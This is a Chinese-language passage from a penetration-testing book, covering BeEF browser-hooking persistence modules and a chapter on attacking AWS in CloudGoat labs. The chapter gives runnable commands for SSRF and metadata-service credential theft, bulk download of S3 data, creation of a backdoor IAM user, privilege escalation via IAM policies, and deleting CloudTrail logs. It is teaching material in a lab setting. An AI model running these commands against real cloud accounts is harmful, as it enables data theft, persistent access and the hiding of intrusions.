配置浏览器使用 BeEF 隧道代理作为 HTTP 代理。默认情况下,代理地址为 127.0.0.1,端口为 6789。攻击者可以利用 Forge Request 强迫用户从攻击者控制的网站下载有效载荷或勒索软件,如 图 7.47 所示:

图 7.47:强制受害者从远程站点下载内容

如果你使用配置为 HTTP 代理的浏览器访问目标网站,所有原始的请求/响应对将存储在 BeEF 数据库中,可以通过导航到 Rider | History 来分析。日志的摘录如下所示,如 图 7.48

图 7.48:代表受害者提交的 forge HTTP 请求日志

一旦攻击完成,有一些机制可以确保保持持久连接,包括以下内容:

  • 确认关闭:这是一个模块,当受害者尝试关闭标签页时,会弹出 确认导航 - 您确定要离开此页面吗? 的提示框。如果用户选择离开此页面,则此操作不会生效,确认导航 提示框将继续显示。

  • 弹出窗口下拉模块:该模块配置为在 config.yaml 中自动运行。此模块尝试打开一个小的弹出下拉窗口,以便在受害者关闭主要浏览器标签页时,保持浏览器处于活跃状态。该行为可能会被弹窗拦截器阻止。

  • iFrame 键盘记录器:该模块将网页上的所有链接重写为一个 iFrame 覆盖层,覆盖原始页面的 100% 高度和宽度。为了最大效果,应该将其与 JavaScript 键盘记录器结合使用。理想情况下,您应该加载被劫持域的登录页面。

  • 浏览器劫持:该模块确保每当受害者点击任何链接时,下一页也会被劫持。避免此行为的唯一方法是手动在地址栏输入新地址。

最后,尽管 BeEF 提供了一系列出色的模块,用于执行侦察以及杀伤链的漏洞利用和后期利用阶段,但 BeEF 的已知默认活动(/hook.js 和服务器头)正被用来检测攻击,从而降低了其有效性。

测试人员必须使用如 Base64 编码、空白编码、随机化变量、删除注释等技术来混淆攻击,以确保未来的完全有效性。

总结

在本章中,我们从攻击者的角度审视了 Web 应用程序及其提供的用户授权服务。我们将杀伤链的视角应用于 Web 应用程序及其服务,以便理解侦察和漏洞扫描的正确应用。

提出了几种不同的技术;我们聚焦于黑客心态,探讨了攻击网页应用程序时的思维方式,并了解了进行渗透测试时使用的方法论。我们学习了如何利用客户端代理执行各种攻击,查看了用于对网站进行暴力破解的工具,并通过网页应用程序覆盖了操作系统级命令。我们通过检查特定于网络服务的网页 shell 完成了本章内容。

第八章云安全漏洞利用中,我们将学习如何识别和攻击配置错误的云服务,这些服务允许用户访问资源,以及如何提升权限以实现目标。

第八章:云安全漏洞利用

云采用显著改变了组织收集、处理和存储最终用户数据的方式。一些企业自动认为他们的云服务提供商会负责其网络安全,但每个云消费者,无论是个人还是企业,都必须意识到这是一个共享责任。话虽如此,大多数情况下,当测试人员成功获得内部网络访问权限时,他们认为测试几乎完成,假设他们可以继续入侵网络或企业。

在本章中,我们将探讨渗透测试人员如果进入云环境,可以利用的不同类型的攻击。特别是,我们将探讨 AWS,并识别多种绕过安全控制的过程,并使用 Kali Linux 中的工具演示这一过程。

本章结束时,你将学习如何通过以下主题攻击配置错误的云服务:

  • 云服务的基本原则

  • EC2 实例中的漏洞扫描与应用利用

  • 获取 AWS IAM 密钥

  • 测试 S3 桶配置错误

  • 利用安全权限漏洞

  • 混淆 CloudTrail 日志

我们将探讨云服务的基本原则和不同的部署模型。

云服务介绍

云计算通常是指计算资源服务的按需提供,特别是为消费者提供的存储和计算能力。云计算的主要原则包括按需、 自助服务、广泛的网络访问、多租户、资源池化、弹性、可扩展性和计量服务。表 8.1 提供了云服务提供商提供的四种部署模型的详细信息。如果这些部署模型中的任何一种被成功利用并建立了通信连接,那么它将提供持续访问,从而实现渗透测试的目标:

部署模型 描述
私有云 仅为特定组织提供的独占云基础设施。类似于传统的数据中心,但托管在云上。
社区云 这是一个云基础设施,在具有共同兴趣的组织消费者之间共享。
公有云 为广大终端用户公众提供的云基础设施。
混合云 结合上述任意两种模型的云基础设施,通常是私有云与公有云、内部部署与私有云,或内部部署与公有云的组合。

表 8.1:云部署模型

在确定你可能需要在任何特定客户环境中执行的测试类型之前,理解以下基本的云服务模型非常重要:

服务模型 描述
软件即服务 在此服务中,云服务商提供软件给组织,组织按需付费。SaaS 云服务提供商的示例包括 Dropbox、G Suite、Microsoft Office 365、Slack 和 Citrix Content Collaboration。
平台即服务 在此服务中,云服务商提供硬件和软件给组织。常见的示例包括 AWS Elastic Beanstalk、Heroku、Windows Azure(主要作为 PaaS 使用)、Force.com、OpenShift 和 Apache Stratos。
基础设施即服务 在此服务中,主要提供存储、网络和虚拟化给组织,组织按需付费。示例包括 AWS EC2、Rackspace、Google Compute EngineGCE)、Digital Ocean 等。

表 8.2:云服务模型

图 8.1 展示了如何根据服务模型的不同,安全责任发生变化:

图 8.1:云服务模型与责任

理解了基本概念后,我们现在将设置我们的 AWS 实验室,通过我们在第一章《基于目标的渗透测试》中安装的 CloudGoat AWS 部署工具来配置故意存在漏洞的实例。请注意,即使在部署了存在漏洞的实例后不使用 CloudGoat,使用 AWS 服务仍会产生费用。此外,这些实例将使您的云基础设施暴露于各种攻击。

访问这些云服务的场景甚至可能从初步的侦察阶段开始,在该阶段攻击者探索目标组织的所有 GitHub 仓库、pastebin 或任何数据转储网站,可能会获取访问密钥和密钥对。

以下是可用来配置和练习 AWS 特定攻击的 CloudGoat 选项。为了理解这些选项,测试人员可以在终端输入docker run –it rhinosecuritylabs/Cloudgoat:latest来运行 Docker 镜像,这将引导我们进入 CloudGoat shell,在这里我们运行./cloudgoat help,这将为我们提供如下五个选项,如图 8.2所示:

图 8.2:从 Docker 镜像运行 CloudGoat

收到与 Terraform 相关的错误信息,如OSError: [Errno 8] Exec format error: "terraform" 或 "Terraform not found"的测试人员,可以按照以下步骤,通过替换默认的 Terraform 为最新版本来解决此问题:

  1. 运行wget https://releases.hashicorp.com/terraform/1.0.10/terraform_1.0.10_linux_amd64.zip

  2. 解压terraform_1.0.10_linux_amd64.zip

  3. 运行mv /usr/bin/terraform terraform_old

  4. 运行mv terraform /usr/bin/

以下展示前四个选项的详细信息:

  • config – 此选项允许我们管理 CloudGoat 安装的不同方面,尤其是 IP 白名单和默认的 AWS 配置文件:

    • whitelist – 建议测试人员始终将将要进行测试的 IP 地址列入白名单,因为在 AWS 基础设施中部署的资源可能存在漏洞。此命令将 IP 地址或 IP 地址范围存储在项目基础目录中的 ./whitelist.txt 文件中。此外,您可以添加 --auto 参数,此工具将自动进行网络请求。使用 curl ifconfig.co 查找您的 IP 地址,然后使用结果创建白名单文件。

    • profile – CloudGoat 默认需要手动配置 AWS 配置文件。运行此命令将提示测试人员输入配置文件详细信息,如 AWS 访问密钥和秘密密钥,并将它们存储在项目目录中的 config.yml 文件中。攻击者可以选择创建自己的 config.yml 文件。

  • create – 此选项将场景部署到 AWS 帐户。如果部署场景两次,CloudGoat 将销毁现有场景并创建新场景。

  • list – 这将显示所有已部署的场景、未部署的场景以及有关特定已部署场景的更多信息。

  • destroy – 这将关闭并删除 CloudGoat 创建的所有资源。

要将 CloudGoat 配置到特定配置文件,请在终端中运行 ./cloudgoat.py config profile <profilename>

./cloudgoat config profile masteringkali 

非常重要的一点是,我们需要将 AWS 资源配置为仅允许来自您连接的 IP 访问:

./cloudgoat.py config whitelist –auto 

在下一部分中,我们将部署一个易受攻击的 Web 应用程序,以在 AWS 中执行特定应用程序的利用。通过在终端中运行 ./cloudgoat create rce_web_app --profile masteringkali 来实现。这将开始 CloudGoat 向您的 AWS 帐户部署云资源的过程,部署完成后,您应该能够看到包含云访问详细信息的确认信息,如 图 8.3 所示:

./cloudgoat.py create rce_web_app --profile masteringkali 

图 8.3: 使用 CloudGoat 和我们的 AWS 配置文件部署 rce_web_app

在完成 Web 应用程序及其支持资源的部署后,测试人员应该看到图 8.4,表示部署成功完成:

图 8.4: 漏洞设置成功部署

测试人员可以利用 CloudGoat 生成的访问密钥和秘密密钥对部署的场景进行渗透测试。作为传统步骤,测试人员可以利用漏洞扫描工具如 Scout Suite 或 Prowler。

在 EC2 实例中进行漏洞扫描和应用程序利用

第一步是通过在终端中运行 sudo apt install awscli 为我们的 Kali Linux 配备 AWS 客户端,然后我们可以利用工具了解当前 API 和秘密密钥的权限。

通过在终端中运行 sudo aws configure --profile <profilename> 来配置 AWS 配置文件。

在这种情况下,我们将在 Kali Linux 中配置这两个配置文件:

  1. 为了演示目的,我们将更改建议的 Lara 配置文件名(见图 8.4),改为RCE远程代码执行),并使用访问密钥和秘密密钥。

  2. 我们将创建一个由 CloudGoat 推荐的 mcduck 配置文件,并使用在 CloudGoat 场景部署过程中生成的密钥。

    sudo aws configure –-profile <profilename> 
    

为了确认我们的配置文件是否正常工作,我们可以列出这些配置文件能够访问的S3(即亚马逊的简单存储服务)存储桶,通过运行以下命令,测试人员应该能够看到它们,正如图 8.5所示:

sudo aws s3 ls –-profile <profilename> 

图 8.5:在 Kali Linux 中配置 AWS 配置文件

攻击者可以利用自动化工具,如 Scout Suite 和 Prowler,快速了解错误配置/过度权限。

Scout Suite 是一个开源云安全审计工具,支持 AWS、GCP 和 Azure 等多云环境。此外,该工具目前正处于针对 Oracle 和阿里云的 alpha 版本阶段。此工具使用 Python 编写,利用公开的 API 收集配置信息,以提供给定云环境的攻击面。该项目由 NCC Group 积极维护,同时该工具也提供商业服务。可以通过克隆仓库并运行以下命令安装 Scout 至 Kali Linux:

sudo git clone https://github.com/nccgroup/ScoutSuite
cd ScoutSuite
sudo pip3 install –r requirements.txt
sudo ./setup.py install 
sudo scout aws --profile <profilename> 

图 8.6展示了在 AWS 上使用特定配置文件启动 Scout 安全审计工具的过程。

图 8.6:在 AWS 上使用我们的配置文件运行 Scout

扫描完成后,Scout 会在与运行工具相同的文件夹内创建一个 HTML 报告。测试人员将能够列出与所扫描配置文件相关的错误配置/漏洞。图 8.7展示了报告输出:

图 8.7:Scout 输出报告

后续小节详细描述了 AWS 的功能/选项和说明,帮助渗透测试人员理解他们应该关注的内容,如图 8.8所示:

图 8.8:Scout 报告中的详细 IAM 部分

Prowler 是另一款专门设计用于执行 AWS 检查的安全工具,涵盖了所有 AWS 区域和组的安全最佳实践。该工具还预构建了与各种基准(CIS、GDPR、HIPAA、PCI-DSS、ISO-27001、FFIEC、SOC2 等)的映射。此工具结合多种 Bash 脚本编写,利用已配置的配置文件的现有权限执行本地检查。可以通过克隆仓库并在终端运行以下命令将其安装到 Kali Linux 上:

sudo git clone https://github.com/toniblyx/prowler
cd prowler 

最新版本的 Prowler 是 v2.5.0。测试人员可以通过简单地运行sudo ./prowler –p <profile name>来验证扫描活动,如图 8.9所示:

文本描述自动生成

图 8.9:从 Kali Linux 运行 Prowler 云安全工具

攻击者可以利用 AWS 命令行界面备忘单,链接地址为 www.bluematador.com/learn/aws-cli-cheatsheet

让我们继续识别配置文件 RCE 中可用的实例列表,方法是在终端运行以下命令:

sudo aws ec2 describe-instances --profile <Profile Name> 

这应该提供如图 8.10所示的实例详细信息,包括公共和内部 IP 详情:

文本 描述自动生成

图 8.10:Scout 报告中的详细 IAM 部分

在实例的详细信息中(完整输出未显示在图 8.10中),我们可以看到公共 IP 被配置到特定的安全组。如果你从上述命令的输出中找到 "RootDeviceType",它会指向 "ebs",这意味着该 IP 地址不可公开访问。

下一步是通过在 Kali Linux 终端运行 sudo aws elbv2 describe-load-balancers –-profile RCE 来找出哪些负载均衡器配置了该设备:

sudo aws elbv2 describe-load-balancers --profile <Profile Name> 

EC2 负载均衡器的输出返回了特定的 DNS 名称,如图 8.11所示:

文本 描述自动生成

图 8.11:提取弹性负载均衡器的详细信息

最后,我们现在能够访问负载均衡器,如图 8.12所示。下一步是识别其他可用资源:

计算机截图 描述自动生成,信心中等

图 8.12:访问弹性负载均衡器的公共 DNS

接下来,我们将在终端运行 sudo aws s3 ls –profile RCE 来查找 S3 桶中我们配置文件的权限。此配置文件仅对 S3 桶中的日志文件夹具有访问权限,如图 8.13所示:

图 8.13:使用 RCE 配置文件访问 S3 桶

我们通过运行 sudo aws s3 ls s3://<bucket>/pathofthefile --profile –-region us-east-1 列出 S3 桶中的所有目录,并通过运行终端中的以下命令复制文件,如图 8.14所示:

sudo aws s3 cp s3://<bucket>/Path to the file>. --profile <Profile Name> --region us-east-1 

背景图案 描述自动生成

图 8.14:从 S3 桶复制日志文件

分析日志文件后,我们发现有多个请求的 HTTP 响应码是 200,并且每个请求都有一个唯一的 HTML 文件与之关联,如图 8.15所示:

背景图案 描述自动生成

图 8.15:分析日志文件并识别 URI

最后,访问该 URL 后将进入表单提交页面,该页面存在远程代码执行漏洞,测试人员现在可以在服务器上运行命令:

图形用户界面、文本、应用程序 描述自动生成

图 8.16:成功在服务器上执行命令

我们现在通过利用现有权限,查看实例、负载均衡器配置以及可以从 S3 存储桶访问的文件,成功地在 Web 应用程序上进行了远程代码执行。让我们尝试使用另一个配置文件(mcduck),了解如何进一步接管 AWS 环境中的运行中的 EC2 实例。测试人员可以运行sudo aws ec2 describe-instances --profile mcduck --region us-east-1来查看实例详细信息,如图 8.17所示:

图 8.17:使用 mcduck 配置文件识别实例

我们可以看到预留和实例的详细信息,包括imageID及其位置。在这些详细信息中,我们可以找到实例的公共 IP 地址和 DNS 名称,以及所有的网络和子网信息,如图 8.18所示:

图 8.18:识别实例的公共 IP 和公共 DNS

拥有公共 IP 的攻击者现在可以探索可能存在于 S3 存储桶中的任何密钥信息。要查看可访问的 S3 存储桶,请运行sudo aws s3 ls ––profile ––region us-east-1,然后复制文件夹类型sudo aws s3 cp s3://bucket/folder/ ./keys ––profile mcduck ––region us-east-1,如图 8.19所示:

sudo aws s3 cp s3://<bucket>/<folder>/ .<outputfolder> --profile <Profile Name> 

Text  Description automatically generated

图 8.19:使用 mcduck 配置文件访问 S3 配置文件

现在,此配置文件仅能访问密钥库,我们已经将公钥和私钥复制到本地的 Kali Linux 中。下一步是通过运行sudo chmod 400 cloudgoat来更改私钥的文件权限,然后通过运行ssh –i cloudgoat ubuntu@PublicIP直接使用安全外壳登录 EC2 实例,如图 8.20所示:

sudo chmod 400 privatekey
sudo ssh –i privatekey Ubuntu@publicDNSofEC2 

图 8.20:从获得的私钥登录 AWS 实例

现在,我们可以获得 Ubuntu EC2 实例的内部访问权限,通过在远程系统的终端中直接访问http://169.254.169.254/latest/user-data来访问元数据服务:

curl http://169.254.169.254/latest/user-data 

图 8.21:访问 EC2 实例中的元数据服务

尝试使用用户名和密码登录postgresql以识别秘密密码:

psql postgresql://cgadmin:Purplepwny2029@<rds-instance>:5432/cloudgoat
\dt
select * from sensitive_information 

图 8.22:成功连接到数据库并访问数据库中的明文密码

在 EC2 实例中,我们现在可以检查哪些 S3 存储桶是可访问的。在访问存储桶之前,确保 Ubuntu 已安装awscli,可以通过在终端中运行sudo apt-get install awscli来安装,然后运行以下命令以查看最终目标,如图 8.23所示:

sudo aws s3 ls
sudo aws s3 ls s3://cg-secret-s3-bucket-cgid<uniqueID> --recursive
aws s3 cp s3://cg-secret-s3-bucket-cgidzay5e3vg5r/db.txt . 
cat db.txt 

Text  Description automatically generated

图 8.23:从 S3 存储桶中提取数据库详细信息

最后一个重要步骤是通过返回到 CloudGoat Docker 镜像并运行./cloudgoat.py destroy all来销毁设置。你应该会看到确认信息,如图 8.24所示:

文本 描述自动生成

图 8.24:使用 CloudGoat 销毁 rce_web_app 云设置

我们已经探讨了 AWS 设置中的安全配置错误和易受攻击的 Web 应用程序。接下来,我们将探讨可以利用的不同方法,以便在下一节中利用 S3 桶。

测试 S3 桶的配置错误

S3 通常被组织用来存储文档、代码、文件上传等内容。通常,桶可以是公开的或私有的。公开时,所有用户都可以列出其中的内容;私有时,只有特定的用户可以列出其中的内容。尽管 S3 的漏洞一直是新闻关注的焦点,尤其是开发人员将关键任务信息存储在标记为“公开”的桶中。在本节中,我们将探讨如何识别 S3 桶以及利用配置错误来获取对内部 AWS 基础设施的访问权限。

为了练习 S3 桶配置错误,我们将通过在 CloudGoat Docker 镜像中运行以下命令来设置一个易受攻击的 S3 实例:

./cloudgoat create cloud_breach_s3 

一旦设置完成,测试人员应该能够从部署工具中看到包含 AWS 账户 ID 和目标 IP 地址的以下信息,如图 8.25所示:

图 8.25:使用 CloudGoat 成功创建 cloud_breach_s3 AWS 环境

识别外部 IP 上运行的内容后,攻击者可以选择对该 IP 进行端口扫描。在这种情况下,端口80是开放并可访问的:

  1. 使用curl http://<IP 地址>命令访问 IP 地址。你将收到一个关于 EC2 元数据服务的错误信息,如图 8.26所示:

    图 8.26:访问公共 IP 地址

  2. 云服务提供商确实有能力管理云消费者云原生应用程序中资源的凭证。如果正确执行,那么就可以避免将凭证存储为明文或在源代码库中存储。在 AWS 中,实例元数据服务IMDS)提供有关给定实例的数据,可用于配置或管理正在运行的实例。AWS 使用169.254.169.254 IP 地址返回托管的元数据服务。因此,我们将添加主机头,通过运行curl http://<IP 地址> -H 'Host:169.254.169.254'来检索目标 IP 的内容,这将返回网站根目录的内容,如图 8.27所示。攻击者可以选择使用 Burp Suite 拦截流量,并向请求中添加主机头,浏览文件夹和目录。

    图 8.27:成功访问带有元数据服务的 IP

  3. 浏览完目录后,我们请求 /latest/meta-data/iam/security-credentials/cg-bank-WAF-Role-cg<ID> 文件,该文件返回 AccessKeyIDsecretAccessKey 和会话令牌,如 图 8.28 所示。会话令牌表明凭证是基于时间的。然而,如果测试者遇到 IMDS v2,则需要额外的令牌来获取凭证:

    图 8.28:成功生成凭证,使用 AWS 元数据服务

  4. 下一步是根据上述信息为我们的 Kali Linux 配置 AWS 配置文件,如 图 8.29 所示:

    sudo aws configure -–profile S3exploit 
    

    图 8.29:在 Kali Linux 中为 S3 漏洞创建新配置文件

  5. 配置好配置文件后,我们将继续通过编辑 AWS 凭证文件来添加会话令牌。该文件的默认位置是 ~/.aws/credentials。在我们的案例中,我们通过 sudo 运行所有 aws 命令,因此所有凭证和其他详细信息将存储在 root 用户下。我们将使用最喜欢的编辑器编辑位于 /root/.aws/credentials 的文件:

    sudo nano /root/.aws/credentials 
    

    图 8.30 所示,添加在 步骤 3 中获得的 aws_session_token

    图 8.30:将 aws_session_token 添加到凭证文件中

  6. 现在,下一步是通过在终端运行以下命令来检查我们是否能够访问 S3 桶:

    sudo aws s3 list –-profile S3exploit 
    
  7. 从上一步骤开始,我们现在可以通过运行 图 8.31 中显示的命令,将 S3 桶的内容下载到本地主机:

    sudo aws s3 sync s3://<Name of the bucket> ./newfolder –profile S3exploit 
    

    图 8.31:将 S3 桶内容复制到本地系统

  8. 我们现在已经利用配置错误的 S3 桶,成功从目标组织外泄数据。你现在应该能够查看包含所有 个人身份信息 (PII) 的持卡人数据,如 图 8.32 所示:

    图 8.32:复制的数据内容,包括个人身份信息

  9. 最后一步是回到 CloudGoat Docker 镜像,确保销毁已创建的实例,以避免任何意外的暴露给真实攻击者或来自 Amazon 的账单费用,通过在 Docker 镜像内运行以下命令:

    ./cloudgoat destroy cloud_breach_s3 
    

理解 S3 中的配置错误可能导致数据外泄。如果用户权限配置错误会怎样?我们将在下一部分探讨这一问题。

利用安全权限缺陷

以下是 AWS 云服务中最常见的漏洞:

  • 过多的公共子网 – 大多数组织使用 AWS 中内置的默认 VPC虚拟私有云)功能,在使用 AWS 服务时很少进行更改,采用的是一种简便的方法。然而,这种方法在许多案例中已经证明是危险的(一个例子是基于僵尸网络的加密勒索软件)。公共子网对互联网上的任何人开放,可能会暴露一些本不应公开的信息。

  • IAM身份和访问管理)问题,出现在那些未为高权限账户启用双因素或多因素认证,并且几乎所有事务都使用同一个账户的组织中,这种做法使得所有新账户具有相同的访问权限,从而使其面临风险。曾经发生过员工账户通过电子邮件钓鱼攻击被入侵,导致了大规模的勒索软件攻击,给组织带来的损失几乎相当于重建整个公司的费用。

  • 配置错误的 S3 桶 – 在前一节中,我们探讨了 S3 桶权限配置错误的问题。这是云渗透测试中最常见的主题之一。尽管桶默认是私有的,但有时 IT 操作/开发团队或管理这些基础设施的第三方会将其设置为公开。这就使得桶面临不可避免的威胁,攻击者可能会发现配置错误的 S3 桶,获取其中的敏感信息,如私钥或无人管理的文件,包括备份或日志文件。

  • 源服务器 – 大多数云服务提供商利用 内容分发网络CDN)将内容分发给高流量客户。大多数情况下,这些配置错误,泄露了源服务器的地址。我们的一位渗透测试人员举了一个例子,说明这种泄漏如何导致安全漏洞。在渗透测试中,发现源服务器并直接攻击其漏洞,甚至通过暴力破解风格的攻击接管数据库并不罕见。

  • SSRF服务器端请求伪造)– 这是一种攻击手段,可以利用合法的 AWS 功能来获取元数据,并且如果成功利用,攻击者可以检索到有效的 IAM 角色用户凭证。在本节中,我们将探讨这种攻击。

  • DNS 记录 – 在初步侦察阶段,攻击者通常可以通过组织的子域名轻松识别出 S3 桶的详细信息。问题出现在操作团队未能及时更新 DNS 记录,或者令人惊讶的是,甚至会退役一些无人管理的 S3 桶,而这些桶仍然处于开放状态,任何人都可以通过互联网访问。

综合以上信息,我们将设置 CloudGoat,创建一个有漏洞的 AWS 部署环境,在这里我们将通过执行 SSRF 攻击来利用 AWS 的合法功能。以下是执行此攻击的逐步说明:

  1. 通过返回 CloudGoat Docker 镜像并在终端运行./cloudgoat.py create ec2_ssrf --profile masteringkali来部署易受攻击的 AWS 设置,这将设置基础设施并提供以下确认,包括访问 ID 和密钥对:

    图 8.33:使用 CloudGoat 创建 ec2_ssfr AWS 环境

  2. 在 Kali Linux 中创建 AWS 配置文件,通过运行sudo aws configure ––profile ssrf,如图 8.34所示,并输入Access Key IDSecret Access Key

    图 8.34:在 Kali Linux 中配置 AWS 配置文件

  3. 我们可以通过运行enumerate-iam工具来列举访问密钥的权限,首先通过sudo git clone https://github.com/andresriancho/enumerate-iam从 Git 直接克隆,然后运行cd enumerate-iam。接着,通过运行sudo pip3 install –r requirements.txt来安装所需的包。一旦完成,我们可以通过输入sudo python3 enumerate-iam.py ––access-key xx ––secret-key xx来运行 enumerate 工具,如图 8.35所示。这将提供如关联用户、账户 ID 以及其他服务列表等详细信息。Text  Description automatically generated

    图 8.35:使用 enumerate-iam.py 列举 AWS 账户的访问和密钥对

  4. 让我们通过运行sudo aws lambda list-functions ––profile ssrf ––region us-east-1来探索该 ID 可以访问的 lambda 函数,这将为我们提供一个可访问的 lambda 函数列表,如图 8.36所示:

    图 8.36:AWS Lambda 中可用的函数列表,该列表对该配置文件可用

    用户在运行上述命令时可能会遇到错误信息:An error occurred (InvalidSignatureException) when calling the ListFunctions operation: Signature expired。这是由于时间问题。建议测试人员在终端运行sudo apt install ntpupdatesudo ntpdate pool.ntp.org

  5. Lambda 正在暴露访问密钥和密钥对。让我们通过在终端运行sudo aws lambda get-function –function-name cg-lambda-cg<randomid> --profile ssrf –region us-east-1来获取有关特定函数的更多信息。这样应该会返回有关此 lambda 函数的更详细信息:

    图 8.37:AWS 中特定 lambda 函数的完整详细信息

  6. 我们现在将使用从 lambda 函数获得的密钥配置我们的 Kali Linux,并将其命名为lambda-solus,如图 8.38所示:

    图 8.38:在 AWS 中配置 AWS 配置文件,用于从 lambda 函数中获取的新访问密钥

  7. 通过运行sudo aws ec2 describe-instances –region us-east-1 –profile lambda-solus,让我们来查看该配置文件可用的实例。这样应该会列出实例的详细信息以及公共 IP 地址,如图 8.39所示:

    图 8.39:通过 lambda-solus 配置文件访问云实例详情

  8. 一旦我们获得了公共 IP 地址,就可以通过端口 80 访问实例,你应该能够在服务器上看到图 8.40中的错误信息:

    图 8.40:访问公共 IP 上的 Web 服务器

  9. 攻击者可以选择在 IP 地址上运行任何类型的扫描器,例如 Nikto 或 OWASP ZAP。当攻击者能够欺骗 Web 应用程序代表他们向特定 URL 发出 HTTP 请求时,该应用程序就容易受到 SSRF 攻击。在我们的案例中,将/?url=<attacker controlled URL>添加到 IP 地址后,我们就能控制 Web 应用程序代表我们发出 HTTP 请求。让我们利用该应用程序调用元数据 API,通过将 URL http://168.254.169.254/latest/meta-data/iam/security/security-credentials/<Nameofthefile>添加到图 8.41所示的参数中,来获取凭证,这将检索可以被测试者利用的临时凭证:

    图 8.41:对 Web 应用程序执行 SSRF 攻击以检索临时凭证

  10. 通过运行sudo aws configure –profile ec2-temp在 Kali Linux 中配置 AWS 配置文件,如图 8.42所示,并确保aws_session_token已添加到aws credentials文件中,然后通过运行sudo aws s3 ls –profile ec2-temp访问 S3 存储桶。这将列出名为cg-secret-s3-bucket-<randomid>的存储桶:

    图 8.42:列出使用临时凭证的 S3 存储桶

  11. 通过运行sudo aws s3 sync s3://<bucketname><folder><file> location –profile下载此存储桶的全部内容,如下图所示。耶!我们现在从该存储桶获取了高权限用户的访问详情。这类似于在内部渗透测试中获取域管理员权限:

    图 8.43:下载秘密并使用管理员配置文件配置 Kali Linux

  12. 在 Kali Linux 中使用ec2-admin配置文件配置 AWS 后,攻击者现在可以在 EC2 环境中执行任何操作。例如,我们现在可以通过运行sudo aws iam list-users –profile ec2—admin来查看所有用户,如图 8.44所示:Text  Description automatically generated

    图 8.44:从管理员配置文件列举用户

  13. 通过运行sudo iam list-attached-user-policies –username <nameofuser> --profile ec2-admin来查看与用户相关联的策略,如图 8.45所示:

    图 8.45:访问用户附加的策略

    请注意,以下两步仅用于演示如何使用命令行创建 aws iam 访问密钥和用户。测试人员必须意识到,如果这些步骤在 CloudGoat 部署的 AWS 环境中执行,那么销毁实例将变得不可能,因为 CloudGoat 只能删除它通过脚本创建的实例。

  14. 现在,你应该能够通过运行 sudo iam create-access-key –username <Username> --region us-east-1 –profile ec2-admin 来更改任何用户的密钥:文本描述自动生成

    图 8.46:为用户创建新的访问密钥

  15. 此外,你可以通过运行 sudo aws iam create-user –username backdoor –profile ec2-admin 创建一个新用户作为访问环境的后门,并且应该能够看到新用户被创建,附带一个访问密钥和一个密钥访问密钥,如 图 8.47 所示:文本描述自动生成

    图 8.47:为后门访问创建新用户

  16. 测试人员现在可以返回 CloudGoat Docker 镜像,并通过在终端运行 ./cloudgoat.py destroy all 来销毁 AWS 设置。

表格 8.3 提供了渗透测试人员在 AWS 渗透测试过程中可以利用的有用命令参考:

描述 命令参考
创建一个新的策略版本 aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/ /policy.json –set-as-default
设置默认策略版本为现有版本 aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
使用现有实例配置文件创建 EC2 实例 aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456``aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
创建一个新的用户访问密钥 aws iam create-access-key –user-name target_user
创建一个新的登录配置文件 aws iam create-login-profile –user-name target_user –password '&#124;[3rxYGGl3@'~68)O{,-$1B"zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;&#124;,lyTKOLG7J[qH$LV5U<9'O~Z",jJ[iT-D^(' –no-password-reset-required
更新现有登录配置文件 aws iam update-login-profile –user-name target_user –password '&#124;[3rxYGGl3@'~68)O{,-$1B"zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;&#124;,lyTKOLG7J[qH$LV5U<9'O~Z",jJ[iT-D^(' -–no-password-reset-required
附加策略到用户组角色 aws iam attach-user-policy –user-name my_username –policy-arn``arn:aws:iam::aws:policy/AdministratorAccess aws iam attach-group-policy –group-name group_i_am_in –policy-arn arn:aws:iam::aws:policy/AdministratorAccess``aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
创建/更新用户组角色的内联策略 aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/policy.json``aws iam put-group-policy –group-name group_i_am_in –policy-name group_inline_policy –policy-document file://path/to/policy.json>``aws iam put-role-policy –role-name role_i_can_assume –policy-name role_inline_policy –policy-document file://path/to/policy.json
将用户添加到组中 aws iam add-user-to-group –-group-name target_group –-user-name username
更新角色的 AssumeRolePolicyDocument aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
更新现有 Lambda 函数的代码 aws lambda update-function-code -–function-name target_function –zip-file fileb://my/lambda/code/zipped.zip

表 8.3:渗透测试期间有用的 AWS 命令

混淆 CloudTrail 日志

CloudTrail 是亚马逊提供的一个服务,用于监控用户执行的所有操作。假设攻击者现在拥有高度特权的环境访问权限,他们将能够通过执行以下操作来修改设置:

  1. 通过运行 sudo aws cloudtrail describe-details –profile <profile name> 来识别 CloudTrail 详情。

  2. 攻击者可以选择通过运行 sudo aws cloudtrail delete-trail --name cloudgoat_trail --profile <Profile name> 来删除日志轨迹。

  3. 或者,他们可以通过运行 sudo aws cloudtrail stop-logging --name cloudgoat_trail --profile <Profile name> 来停止日志记录。然而,这将触发 GuardDuty(AWS 内部的威胁检测服务)关于日志未被捕捉的警报。

我们已经通过一些实际例子探讨了云渗透测试的关键方面。渗透测试人员应始终将任何云基础设施视为内部/外部范围的一部分,以确保达成测试目标。

总结

在本章中,我们快速浏览了不同类型的云服务及其面临的攻击。我们深入探讨了 AWS 特有的安全配置错误,特别是通过负载均衡器日志利用远程 Web 应用程序漏洞,并利用配置错误的 S3 存储桶访问内部 EC2 实例。此外,我们还利用实例的权限获取了数据库凭证,并探索了元数据服务头注入攻击。我们学习了如何通过 SSRF 攻击在 AWS 环境中创建后门用户。然后,我们研究了一些在 AWS 渗透测试中可以利用的有用命令行功能。

在下一章中,我们将更专注于如何绕过网络访问控制NAC)和杀毒软件、用户帐户控制UAC)以及 Windows 操作系统控制。我们还将探讨诸如 Veil 框架和 Shellter 等工具集。

第九章:绕过安全控制

